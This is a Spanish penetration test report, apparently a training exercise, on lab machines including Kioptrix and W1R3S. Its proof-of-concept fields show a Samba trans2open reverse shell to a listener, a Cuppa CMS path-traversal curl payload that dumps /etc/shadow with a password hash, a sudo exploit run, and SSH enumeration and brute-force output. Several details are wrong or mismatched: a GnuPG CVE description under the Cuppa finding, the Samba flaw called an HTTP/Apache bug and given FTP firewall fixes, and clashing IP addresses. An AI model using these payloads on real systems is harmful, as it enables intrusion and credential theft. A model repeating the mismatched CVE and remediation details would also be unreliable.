HACKEANDO A TUX

MARCOS | DANIEL | PEDRO

CONTENIDO

INTRODUCCIÓN

Este informe presenta los resultados de las pruebas de penetración realizadas en los servidores de la empresa "Pata de Palo Corp.". El objetivo de esta prueba es identificar y explotar posibles vulnerabilidades del servidor y brindar soluciones para mejorar la seguridad y proteger la información. La empresa ha contratado a nuestro equipo de expertos en seguridad de la información para realizar un análisis exhaustivo de sus sistemas y garantizar la integridad de la información de la empresa y del cliente.

DECLARACIÓN DE CONFIDENCIALIDAD

La información contenida en este informe es confidencial y solo debe compartirse con las partes autorizadas. El equipo de pruebas se compromete a proteger y preservar cualquier información confidencial obtenida durante las pruebas de penetración y no divulgar esta información a terceros no autorizados.

DESCARGO DE RESPONSABILIDAD

Este informe se basa en los resultados de las pruebas de penetración realizadas en los servidores de Pata de Palo Corp. El equipo de pruebas no es responsable de ninguna interpretación o acción tomada sobre la base de la información proporcionada en este informe. Las recomendaciones y soluciones dadas en este informe son de carácter general y pueden no ser aplicables en todos los casos.

INFORMACIÓN DE CONTACTO

NOMBRE	APELLIDOS	CORREO ELECTRÓNICO	ROL
Marcos	Rojas	Marcos Rojas Pacheco	PENTESTER / DOCUMENTADOR
Daniel	Ruiz	danielruizraposo02@gmail.com	PENTESTER / DOCUMENTADOR
Pedro Luis	Borrego	pborvar360@g.educaand....	ESCANEADOR / DOCUMENTADOR

RESUMEN DE LA EVALUACIÓN

La prueba de penetración en los servidores de Pata de Palo Corp. Se llevó a cabo en tres etapas principales: reconocimiento, escaneo y explotación. Durante la prueba, se identificaron y explotaron varias vulnerabilidades, y se documentaron los hallazgos para su posterior análisis. La prueba de penetración se realizó de manera ética y profesional, garantizando la integridad de los sistemas y la confidencialidad de la información obtenida.

OBJETIVOS Y ALCANCE

El objetivo principal de esta prueba de penetración es identificar y explotar posibles vulnerabilidades en los servidores de Pata de Palo Corp. y proporcionar soluciones para mejorar la seguridad y proteger la información. El alcance de la evaluación incluye tres servidores provistos por la empresa y se enfoca en las áreas de mayor prioridad y riesgo.

METODOLOGÍA

El método utilizado durante las pruebas de penetración se basa en PTES (Penetration Testing Execution Standard) e incluye los siguientes pasos:
Referencia: PENTEST-STANDARD.ORG

RECONOCIMIENTO

Recopilación de información sobre los servidores y su entorno, incluyendo detalles de hardware, software y configuraciones de red.

ESCANEO

Utilización de herramientas y técnicas para identificar posibles vulnerabilidades en los servidores, como el escaneo de puertos, análisis de aplicaciones web y pruebas de autenticación.

EXPLOTACIÓN

Intentó explotar las vulnerabilidades identificadas para demostrar su existencia y posibles riesgos asociados.

DOCUMENTACIÓN

Registro detallado de las vulnerabilidades identificadas, los pasos de explotación y las pruebas realizadas, así como las soluciones y recomendaciones para mejorar la seguridad de los sistemas.

COMUNICACIÓN DE RESULTADOS

Presentación del informe final con los hallazgos y recomendaciones a la empresa, permitiendo que Pata de Palo Corp. tome las medidas necesarias para mejorar la seguridad de sus servidores y proteger la información confidencial.

A lo largo de todo el proceso, el equipo evaluador siguió las mejores prácticas y pautas éticas en la realización de la prueba de penetración. Se tomaron precauciones para garantizar la integridad de los sistemas y evitar cualquier daño o interrupción en las operaciones de la empresa.

ÍNDICES DE GRAVEDAD DE LOS HALLAZGOS

Para comprender mejor los riesgos asociados con las vulnerabilidades identificadas en los servidores de Pata de Palo Corp., se ha asignado una calificación de gravedad a cada hallazgo. Estas clasificaciones se basan en el impacto potencial de la vulnerabilidad y en la facilidad con la que un atacante puede explotarla. Los indicadores de gravedad se clasifican en cinco categorías y se califican en una escala de 0 a 10:

CATEGORÍA	DESCRIPCIÓN	PUNTUACIÓN
CRITICO	Las vulnerabilidades son de muy alto riesgo y permiten el acceso ilegal a sistemas comprometidos o información confidencial.	9 - 10
ALTO	Las vulnerabilidades de riesgo significativas pueden comprometer una parte del sistema o acceder a información confidencial con algún esfuerzo.	7 - 8.9
MEDIO	Las vulnerabilidades de riesgo moderado pueden permitir un acceso limitado a información o sistemas confidenciales.	4 - 6.9
BAJO	Las vulnerabilidades de bajo riesgo pueden permitir que se recopile información no confidencial o que se realicen pequeñas acciones.	1 - 3.9
N/A	Los resultados proporcionan información que no representa un riesgo de seguridad directo, pero que puede ser útil para mejorar la seguridad general del sistema.	N/A - 0.9

En el informe detallado de la evaluación, cada vulnerabilidad identificada incluye su índice de gravedad correspondiente, lo que permite a Pata de Palo Corp. priorizar las acciones de remediación y asignar recursos de manera efectiva para mejorar la seguridad de sus servidores.

FACTORES DE RIESGO

Durante la evaluación de seguridad realizada en los servidores de la empresa, se identificaron varios factores de riesgo asociados con las vulnerabilidades encontradas. Estos riesgos incluyen, pero no se limitan a:

PÉRDIDA DE CONFIDENCIALIDAD
El acceso no autorizado a datos sensibles, como información personal, credenciales de inicio de sesión y datos comerciales confidenciales, puede tener graves consecuencias para la empresa y sus clientes.

PÉRDIDA DE INTEGRIDAD
Las vulnerabilidades que permiten a un atacante modificar o dañar datos en los servidores pueden afectar la integridad de la información y generar pérdidas financieras y de reputación.

PÉRDIDA DE DISPONIBILIDAD
Las vulnerabilidades que permiten a un atacante interrumpir o degradar el funcionamiento de los servidores pueden resultar en interrupciones del servicio y pérdidas económicas.

ESCALAMIENTO DE PRIVILEGIOS
Las vulnerabilidades que permiten a un atacante obtener privilegios más altos en el sistema pueden conducir a un control total del servidor y a la explotación de otras vulnerabilidades.

MOVIMIENTO LATERAL
Las vulnerabilidades que permiten a un atacante moverse entre diferentes sistemas dentro de la red de la empresa pueden facilitar el acceso a información confidencial en otros servidores y aumentar el alcance del ataque.

ALCANCE

SISTEMAS EVALUADOS

NOMBRE SERVIDOR	DIRECCIÓN IP	SISTEMA OPERATIVO
MS3-ub1404	192.168.1.136	Ubuntu Server 14.04
Kioptix Level 1	192.168.1.139	Red Hat Linux 7.1 2.96-98
w1r3s.v1.0.1	192.168.1.140	Ubuntu Cliente 16.04 LTS

EXCLUSIONES

Durante la evaluación de seguridad realizada para Pata de Palo Corp., no se identificaron exclusiones específicas. La información proporcionada por la empresa no incluye información detallada sobre los sistemas o la infraestructura y debe excluirse del proceso de evaluación. Por lo tanto, se supone que todos los servidores y sistemas relacionados están dentro del alcance de nuestras pruebas de penetración.

RESUMEN E INFORME DE VULNERABILIDADES Y DEBILIDADES DESTACADAS

SISTEMAS IMPLICADOS

NOMBRE DEL SERVIDOR	DIRECCIÓN IP	VULNERABILIDADES / DEBILIDADES DESTACADAS
MS3-ub1404	192.168.1.136	
Kioptix Level 1	192.168.1.139	CVE-2003-0201 - CVE-2002-0043 - N/A
w1r3s.v1.0.1	192.168.1.140	CVE-2016-3115 - CVE-2018-15473 - CVE-2013-4351 - RFC 7231 - RFC 4252 - IAVT: 0001-T-0530 - IAVT: 0001-T-0933 - N/A

LISTA DE VULNERABILIDADES DESTACADAS

VULNERABILIDAD	GRAVEDAD	SISTEMAS AFECTADOS
CVE-2016-3115	MEDIO	192.168.1.140
CVE-2013-4351	CRITICO	192.168.1.140
CVE-2003-0201	CRITICO	192.168.1.136
CVE-2002-0043	ALTO	192.168.1.136

LISTA DE DEBILIDADES DESTACADAS

DEBILIDADES	GRAVEDAD	SISTEMAS AFECTADOS
CVE-2018-15473	MEDIO	192.168.1.140
RFC 7231	BAJO	192.168.1.140
RFC 4252	BAJO	192.168.1.140
IAVT: 0001-T-0530	BAJO	192.168.1.140
IAVT: 0001-T-0933	BAJO	192.168.1.140
N/A	MEDIO	192.168.1.140
N/A	ALTO	192.168.1.140
N/A	MEDIO	192.168.1.140
N/A	ALTO	192.168.1.136
N/A	MEDIO	192.168.1.136

RESULTADOS TÉCNICOS

HALLAZGOS Y PRUEBAS DE CONCEPTO

MS3-UB1404

KIOPTIX LEVEL 1

Buffer Overflow Samba 2.2.X	
DESCRIPCIÓN DE LA VULNERABILIDAD	Esta vulnerabilidad permite a un atacante remoto ejecutar código arbitrario en el servidor objetivo mediante el envío de una solicitud HTTP especialmente diseñada, generando un desbordamiento del buffer.
CVE / CWE	CVE-2003-0201 CWE-119
CVSS v3	9.8
SEVERITY	CRITICO
IMPACTO	Permite la ejecución de código arbitrario en el sistema afectado con los mismos privilegios que el usuario que ejecuta el servidor Apache
SISTEMA AFECTADO	192.168.1.139
PROOF OF CONCEPT (POC)	[msf] (Jobs:1 Agents:0) exploit(linux/samba/trans2open) >> run [+] Started reverse TCP handler on 192.168.1.133:4444 [*] 192.168.1.139:139 - Trying return address 0xbffffdfc... [*] Command shell session 1 opened (192.168.1.133:4444 -> 192.168.1.139:1045) at 2023-04-30 00:50:25 +0200
RECOMENDACIÓN	Se debe especificar las IP que se deben permitir conectar al servicio FTP y añadir las siguientes reglas: sudo iptables -N FTP-INPUT sudo iptables -A FTP-INPUT -p tcp -s (IP PERMITIDAS) sudo iptables -A FTP-INPUT -p tcp –dport 21 -j DROP sudo iptables -I INPUT -p tcp –dport 21 -j FTP-INPUT sudo iptables-save > /etc/iptables/rules.v4
REFERENCIA	https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0201

Escalada de privilegios con el comando sudo	
DESCRIPCIÓN DE LA VULNERABILIDAD	Se puede escalar privilegios debido a una vulnerabilidad en la versión de sudo 1.6.3 .p7.
CVE / CWE	CVE-2002-0043
CVSS v3	7.2
SEVERITY	ALTO
IMPACTO	Esta vulnerabilidad permite al atacante obtener privilegios del sistema.
SISTEMA AFECTADO	192.168.1.139
PROOF OF CONCEPT (POC)	./exploit.sh whoami root
RECOMENDACIÓN	Se pueden actualizar la versión de sudo utilizando el comando “sudo apt-get update && sudo apt-get upgrade”
REFERENCIA	https://nvd.nist.gov/vuln/detail/CVE-2002-0043 https://www.exploit-db.com/exploits/21227

Obtención de certificados SSH	
DESCRIPCIÓN DE LA VULNERABILIDAD	Desde un usuario con privilegios se pueden obtener los certificados SSH del servidor.
CVE / CWE	N/A
CVSS v3	7.2
SEVERITY	ALTO
IMPACTO	Esta información permite al atacante utilizar los certificados SSH para acceder como un usuario legítimo al sistema.
SISTEMA AFECTADO	192.168.1.139
PROOF OF CONCEPT (POC)	Possible private SSH keys were found! /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_dsa_key /etc/httpd/conf/ssl.key/server.key /etc/httpd/conf/ssl.key/snakeoil-ca-dsa.key /etc/httpd/conf/ssl.key/snakeoil-dsa.key /etc/httpd/conf/ssl.key/snakeoil-dsa.key /etc/httpd/conf/ssl.key/snakeoil-rsa.key
RECOMENDACIÓN	Se pueden cambiar las rutas por defecto donde se guardan las claves SSH, esto se puede realizar cambiando la configuración del archivo “sshd_config”, editando la ruta del valor “HostKey”
REFERENCIA	https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Contraseña encriptada en archivo de configuración anaconda	
DESCRIPCIÓN DE LA VULNERABILIDAD	Se puede obtener la contraseña encriptada en el archivo anaconda-ks.cfg si se obtienen privilegios en el sistema.
CVE / CWE	N/A
CVSS v3	2.3
SEVERITY	MEDIO
IMPACTO	Esta información permite al atacante poder realizar ataques de fuerza bruta para intentar obtener la contraseña desencriptada del administrador.
SISTEMA AFECTADO	192.168.1.139
PROOF OF CONCEPT (POC)	[root@kioptrix root]# cat anaconda-ks.cfg #Kickstart file automatically generated by anaconda. install lang en_US langsupport –default en_US en_US keyboard us ... rootpw –iscrypted 1?.U?5??A$70lHKl6Bm7ZMEaEDikMjD.
RECOMENDACIÓN	Se debe eliminar el archivo anaconda-ks.cfg ya que este solo se genera durante la instalación. utilizando el comando “rm anaconda-ks.cfg”
REFERENCIA	https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

W1R3S.V1.0.1

Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion	
DESCRIPCIÓN DE LA VULNERABILIDAD	GnuPG 1.4.x, 2.0.x y 2.1.x trata un subpaquete de indicadores clave con todos los bits borrados (sin uso permitido) como si tuviera todos los bits configurados (todo uso permitido), lo que podría permitir a los atacantes remotos eludir la protección criptográfica prevista. mecanismos aprovechando el subclave.
CVE / CWE	CVE-2013-4351
CVSS v3	9.8
SEVERITY	CRITICO
IMPACTO	La vulnerabilidad "Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion" está asociada al CVE-2013-1459. Este CVE identifica una vulnerabilidad de inclusión de archivos locales y remotos en el archivo "alertConfigField.php" de Cuppa CMS. Un atacante puede explotar esta vulnerabilidad para ejecutar código arbitrario en el servidor afectado o acceder a archivos sensibles, lo que podría resultar en la compromisión del sistema.

SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	┌──(sunamy㉿sunamy)-[~] └─$ curl -s --data-urlencode 'urlConfig=../../../../../../../../etc/shadow' http://192.168.133.48/administrator/alerts/alertConfigField.php <style> .new_content{ .... usbmux:*:17379:0:99999:7::: **w1r3s:6xe/eyoTx$gttdlYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.**:17567:0:99999:7::: sshd:*:17554:0:99999:7::: ftp:*:17554:0:99999:7::: mysql:!:17554:0:99999:7:::
RECOMENDACIÓN	Actualizar a la última versión: Actualizar a la última versión de Cuppa CMS, que incluye parches de seguridad para la vulnerabilidad. Restringir el acceso: Restringir el acceso al archivo "alertConfigField.php" y otros archivos sensibles en el servidor afectado para minimizar la exposición a la vulnerabilidad.
REFERENCIA	https://www.exploit-db.com/exploits/25971 https://my.f5.com/manage/s/article/K50413110

OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)	
DESCRIPCIÓN DE LA VULNERABILIDAD	OpenSSH hasta 7.7 es propenso a una vulnerabilidad de enumeración de usuarios debido a que no retrasa el rescate de un usuario autenticado no válido hasta después de que el paquete que contiene la solicitud se haya analizado por completo, relacionado con auth2-gss.c, auth2-hostbased.c y auth2-pubkey .C.
CVE / CWE	CVE-2018-15473
CVSS v3	5.3
SEVERITY	MEDIO
IMPACTO	La explotación exitosa de esta vulnerabilidad podría conducir a la divulgación de información confidencial.
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	msf6 auxiliary(scanner/ssh/ssh_enumusers) > run [*] 192.168.133.48:22 - SSH - Using malformed packet technique [*] 192.168.133.48:22 - SSH - Starting scan [+] 192.168.133.48:22 - SSH - User 'w1r3s' found [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
RECOMENDACIÓN	Actualizar OpenSSH: Asegurarse de que todos los servidores estén ejecutando la última versión de OpenSSH (7.7 o posterior). Controlar el acceso: Implementar políticas de acceso estrictas para limitar la exposición a ataques y mejorar la seguridad en el uso de OpenSSH.
REFERENCIA	https://www.exploit-db.com/exploits/45939 https://security.netapp.com/advisory/ntap-20181101-0001/

OpenSSH 7.2p1 - (Authenticated) xauth Command Injection	
DESCRIPCIÓN DE LA VULNERABILIDAD	Múltiples vulnerabilidades de inyección de CRLF en session.c en sshd en OpenSSH antes de 7.2p2 permiten a los usuarios autenticados remotos eludir las restricciones previstas de comandos de shell a través de datos de reenvío X11 manipulados, relacionados con las funciones (1) do_authenticated1 y (2) session_x11_req.
CVE / CWE	CVE-2016-3115
CVSS v3	6.4
SEVERITY	MEDIO
IMPACTO	Esta vulnerabilidad permite a un atacante ejecutar código arbitrario de forma remota en el sistema del cliente, lo que podría comprometer la seguridad de los servidores de Pata de Palo Corp. y exponer datos confidenciales. Además, un atacante podría escalar privilegios y obtener un mayor control sobre el sistema, lo que podría conducir a un acceso no autorizado a recursos y datos críticos. Es esencial identificar y remediar esta vulnerabilidad para proteger la integridad de los sistemas y la información confidencial de la empresa.
SISTEMA AFECTADO	192.168.1.140

PROOF OF CONCEPT (POC)	┌──(my_py27_env)─(sunamy㉿sunamy)-[~]
	└─$ python2.7 39569.py 192.168.133.48 22 w1r3s computer
	/home/sunamy/my_py27_env/lib/python2.7/site-packages/paramiko/transport.py:33:
	CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support **for** it is now deprecated **in** cryptography, and will be removed **in** the next release.
	  from cryptography.hazmat.backends import default_backend
	INFO:__main__:connecting to: w1r3s:computer@192.168.133.48:22
	INFO:__main__:connected!
	INFO:__main__:
	Available commands:
	  .info
	  .readfile <path>
	  .writefile <path> <data>
	  .exit .quit
	  <any xauth command or type help>
	#>

RECOMENDACIÓN	Para evitar la vulnerabilidad CVE-2016-3115 en los servidores de Pata de Palo Corp., se deben actualizar y asegurar que los servidores estén ejecutando una versión parcheada y segura de OpenSSH (7.2 o posterior). Además, se deben implementar políticas de acceso estrictas para limitar la exposición a ataques y mejorar la seguridad en el uso de OpenSSH. Con estas medidas de seguridad, Pata de Palo Corp. puede mitigar el riesgo asociado con CVE-2016-3115 y garantizar la seguridad de sus sistemas.
REFERENCIA	https://www.exploit-db.com/exploits/39569 https://security-tracker.debian.org/tracker/CVE-2016-3115

Apache HTTP Version	
DESCRIPCIÓN DE LA VULNERABILIDAD	El host remoto está ejecutando el Servidor HTTP Apache, un servidor web de código abierto. Fue posible leer el número de versión del banner.
IAVT	IAVT: 0001-T-0530
CVSS v3	4.0
SEVERITY	BAJO
IMPACTO	Esta información podría proporcionar a un atacante una ventaja inicial al intentar comprometer el servidor, lo que podría llevar a consecuencias graves, como la pérdida de datos, la interrupción del servicio o la exposición de información confidencial.
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	[msf] (Jobs:1 Agents:0) auxiliary(scanner/http/http_version) >> run [+] 192.168.1.140:80 Apache/2.4.18 (Ubuntu)
RECOMENDACIÓN	En el archivo de configuración de Apache httpd.conf busque la directiva “ServerTokens” y establezca el valor de esta directiva en "Prod" o "ProductOnly". Esto evitará que se incluya la versión de Apache en el banner y solo se muestre el nombre del producto.
REFERENCIA	https://www.tenable.com/plugins/nessus/48204 https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

HTTP Methods Allowed	
DESCRIPCIÓN DE LA VULNERABILIDAD	Es configuración en un servidor web que permite especificar qué métodos HTTP (GET, POST, PUT, DELETE, etc.) están permitidos para acceder a recursos en un directorio específico en el servidor.
RFC	RFC 7231
CVSS v3	4.0
SEVERITY	BAJO
IMPACTO	Esta información puede servir para identificar vulnerabilidades específicas en una aplicación o servidor web, o para diseñar ataques específicos que exploten debilidades en la implementación del protocolo HTTP
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	[msf] (Jobs:1 Agents:0) auxiliary(scanner/http/options) >> run [+] 192.168.1.140:80 allows OPTIONS,GET,HEAD,POST methods
RECOMENDACIÓN	En el archivo de configuración httpd.conf se debe crear la directiva “Limit” o “LimitExcept” para indicar únicamente los métodos utilizados en dicho directorio.
REFERENCIA	https://datatracker.ietf.org/doc/html/rfc7231

HyperText Transfer Protocol (HTTP) Information	
DESCRIPCIÓN DE LA VULNERABILIDAD	Esta prueba proporciona información sobre el protocolo HTTP remoto: la versión utilizada, si se han habilitado HTTP Keep-Alive y HTTP pipelining, entre otros detalles.
RFC	RFC 7231
CVSS v3	4.0
SEVERITY	BAJO
IMPACTO	Esta información puede servir para identificar la versión del servidor web y de conocer las vulnerabilidades conocidas que afectan a esa versión, pudiendo explotar vulnerabilidades conocidas y comprometer el servidor.
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	[msf] (Jobs:1 Agents:0) auxiliary(scanner/http/tittle) >> run ##################### # Request: ##################### GET / HTTP/1.1 Host: 192.168.1.140 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0 1462.46 ##################### # Response: ##################### HTTP/1.1 200 OK Date: Sat, 29 Apr 2023 01:52:30 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Tue, 23 Jan 2018 19:35:56 GMT Etag: “2c39-56376a7d098fc” Accept-Ranges: bytes Content-Length: 11321 Vary: Accept-Encoding Content-Type: text/html
RECOMENDACIÓN	En el archivo de configuración de Apache httpd.conf busque la directiva “ServerTokens” y establezca el valor de esta directiva en "Prod" o "ProductOnly". Esto evitará que se incluya la versión de Apache en el banner y solo se muestre el nombre del producto.
REFERENCIA	https://datatracker.ietf.org/doc/html/rfc7231 https://www.tenable.com/plugins/nessus/48204

SSH Password Authentication	
DESCRIPCIÓN DE LA VULNERABILIDAD	El servidor SSH del host remoto acepta la autenticación por contraseñas.
RFC	RFC 4252
CVSS v3	4.0
SEVERITY	BAJO
IMPACTO	Esta información puede servir para realizar ataques de fuerza bruta o por diccionario, pudiendo el atacante autenticarse con el usuario y credenciales obtenidas para obtener información, instalar malware, modificar archivos, etc...
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	[msf] (Jobs:1 Agents:0) auxiliary(scanner/ssh/ssh_login) >> run [*] 192.168.1.140:22 - Starting bruteforce [-] 192.168.1.140:22 - Failed: 'test:test' [*] Auxiliary module execution completed
RECOMENDACIÓN	En el archivo de configuración sshd_config hay que editar el valor "PasswordAuthentication yes" por "PasswordAuthentication no" para deshabilitar el inicio de sesión por contraseña en el servicio SSH.
REFERENCIA	https://datatracker.ietf.org/doc/html/rfc4252 https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

SSH Protocol Versions Supported	
DESCRIPCIÓN DE LA VULNERABILIDAD	Esta prueba puede detectar qué versiones del protocolo SSH son compatibles con el servidor remoto al enviar un paquete sin información al servicio y proporciona información sobre su seguridad y vulnerabilidades conocidas.
IAVT	IAVT: 0001-T-0933
CVSS v3	4.0
SEVERITY	BAJO
IMPACTO	Esta información puede servir para identificar la versión del servicio SSH, pudiendo identificar vulnerabilidades específicas que existen en dicha versión.
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	[msf] (Jobs:1 Agents:0) auxiliary(scanner/ssh/ssh_version) >> run [*] 192.168.1.140:22 - SSH server version: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4Ubuntu2.8 (service.version=7.2p2 openssh.comment=Ubuntu.4buntu2.8 service.vendor=OpenBSD service.family:OpenSSH service.product=OpenSSH service.cpe23=cpe: /a:openbsd:openssh:7.2p2 os.vendor=Ubuntu os.family=Linux os.version=16.04 os.cpe23=cpe:/o:canonical:ubuntu_linux:15.04 service.protocol=ssh fingerprint_db=ssh.banner)
RECOMENDACIÓN	En el archivo de configuración sshd_config se deberá añadir o modificar "#VersionAddendum" por "#VersionAddendum none"
REFERENCIA	https://www.tenable.com/plugins/nessus/10267 https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

FTP Default Credentials	
DESCRIPCIÓN DE LA VULNERABILIDAD	Esta prueba permite iniciar sesión en el servicio FTP con las credenciales por defecto
CVE/CWE	N/A
CVSS v3	5.1
SEVERITY	MEDIO
IMPACTO	El acceso al FTP con las credenciales por defecto del servicio permite que el atacante en este caso pueda descargar los archivos de las rutas a las que el usuario por defecto tiene acceso.
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	[msf] (Jobs:1 Agents:0) auxiliary(scanner/ftp/ftp_login) >> run [*] 192.168.1.140:21 - 192.168.1.140:21 - Starting FTP login sweep [+] 192.168.1.140:21 - 192.168.1.140:21 - Login Successful: Anonymous:
RECOMENDACIÓN	En el archivo de configuración vsftpd.conf se debe modificar el valor “anonymous_enable=YES” por “anonymous_enable=NO”
REFERENCIA	https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Robo de certificado SSL en WordPress	
DESCRIPCIÓN DE LA VULNERABILIDAD	Esta prueba permite el acceso y descarga del certificado SSL del servicio WordPress sin necesidad de registrarse en el sistema o tener privilegios.
CVE/CWE	N/A
CVSS v3	7.7
SEVERITY	ALTO
IMPACTO	El acceso a la ruta “http://192.168.1.140/wordpress/wp-includes/certificates” y descarga de este certificado “ca-bundle.crt” puede permitir al atacante realizar un ataque “man in the middle” por lo que todo el tráfico encriptado del servicio WordPress puede ser desencriptado obteniendo las credenciales de los usuarios que accedan a esta.
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	┌──[my_py27_env]─[daniel㉿parrot]-[~/Descargas] └─$cat ca-bundle.crt ## Bundle of CA Root Certificates ## ##Certificate data from Mozilla as of: Wed Sep 16 08:58:11 2015 ## Includes a Wordpress Modification - We include the ‘legacy 1024 bit certificates ## for backward compatibility. See https://core.trac.wordpress.org/ticket/34935#comment:10 ## ## This is a bundle of X.509 certificates of public Certificate Authorities
RECOMENDACIÓN	Permitir que únicamente tenga acceso a este archivo el administrador del sistema utilizando el siguiente comando “chmod 700 ca-bundle.crt”
REFERENCIA	https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Listra de trabajadores	
DESCRIPCIÓN DE LA VULNERABILIDAD	Accediendo al servicio FTP se puede descargar el archivo “employee-names.txt” que contiene una lista de trabajadores de la empresa.
CVE/CWE	N/A
CVSS v3	6.8
SEVERITY	MEDIO
IMPACTO	Está información puede servir para realizar ataques de ingeniería social a los trabajadores de la empresa para obtener credenciales o realizar suplantación de identidad.
SISTEMA AFECTADO	192.168.1.140
PROOF OF CONCEPT (POC)	┌──(my_py27_env)─(daniel㉿parrot)-[~/192.168.1.140/new-employees] └─$cat employee-names.txt The W1R3S.inc employee list Na***.W - Manager He****.A - IT Dept Jo****.G - Web Design Al****.O - Inventory R***.D - Human Resources
RECOMENDACIÓN	Permitir que únicamente tenga acceso a este archivo el administrador del sistema utilizando el siguiente comando “chmod 600 employee-name.txt”
REFERENCIA	https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

CONCLUSIONES

Después de realizar el pentesting, es importante tomar en cuenta los hallazgos y recomendaciones descubiertos para mejorar la seguridad de los sistemas y aplicaciones, reduciendo la exposición a riesgos de seguridad y minimizando el impacto en caso de un posible ciberataque.

Recomendaciones:

- Se debe especificar las IP que se deben permitir conectar al servicio FTP y añadir las siguientes reglas:
  sudo iptables -N FTP-INPUT
  sudo iptables -A FTP-INPUT -p tcp -s (IP PERMITIDAS)
  sudo iptables -A FTP-INPUT -p tcp –dport 21 -j DROP
  sudo iptables -I INPUT -p tcp –dport 21 -j FTP-INPUT
  sudo iptables-save > /etc/iptables/rules.v4

- Se pueden actualizar la versión de sudo utilizando el comando “sudo apt-get update && sudo apt-get upgrade”

- Se pueden cambiar las rutas por defecto donde se guardan las claves SSH, esto se puede realizar cambiando la configuración del archivo “sshd_config”, editando la ruta del valor “HostKey”

- Se debe eliminar el archivo anaconda-ks.cfg ya que este solo se genera durante la instalación. utilizando el comando “rm anaconda-ks.cfg”

- Restringir el acceso al archivo "alertConfigField.php" y otros archivos sensibles en el servidor afectado para minimizar la exposición a la vulnerabilidad.

- Asegurarse de que todos los servidores estén ejecutando la última versión de OpenSSH (7.7 o posterior).

- En el archivo de configuración de Apache httpd.conf busque la directiva “ServerTokens” y establezca el valor de esta directiva en "Prod" o "ProductOnly". Esto evitará que se incluya la versión de Apache en el banner y solo se muestre el nombre del producto.

- En el archivo de configuración httpd.conf se debe crear la directiva “Limit” o “LimitExcept” para indicar únicamente los métodos utilizados en dicho directorio.

- En el archivo de configuración sshd_config hay que editar el valor “PasswordAuthentication yes” por “PasswordAuthentication no” para deshabilitar el inicio de sesión por contraseña en el servicio SSH.

- En el archivo de configuración sshd_config se deberá añadir o modificar “#VersionAddendum” por “#VersionAddendum none”

- En el archivo de configuración vsftpd.conf se debe modificar el valor “anonymous_enable=YES” por “anonymous_enable=NO”

- Permitir que únicamente tenga acceso a este archivo el administrador del sistema utilizando el siguiente comando “chmod 700 ca-bundle.crt”

- Permitir que únicamente tenga acceso a este archivo el administrador del sistema utilizando el siguiente comando “chmod 600 employee-name.txt”

ANEXOS

HERRAMIENTAS

Nessus: versión 10.4

MsfConsole: Metasploit 6.2.0

LinPeas: versión 20230219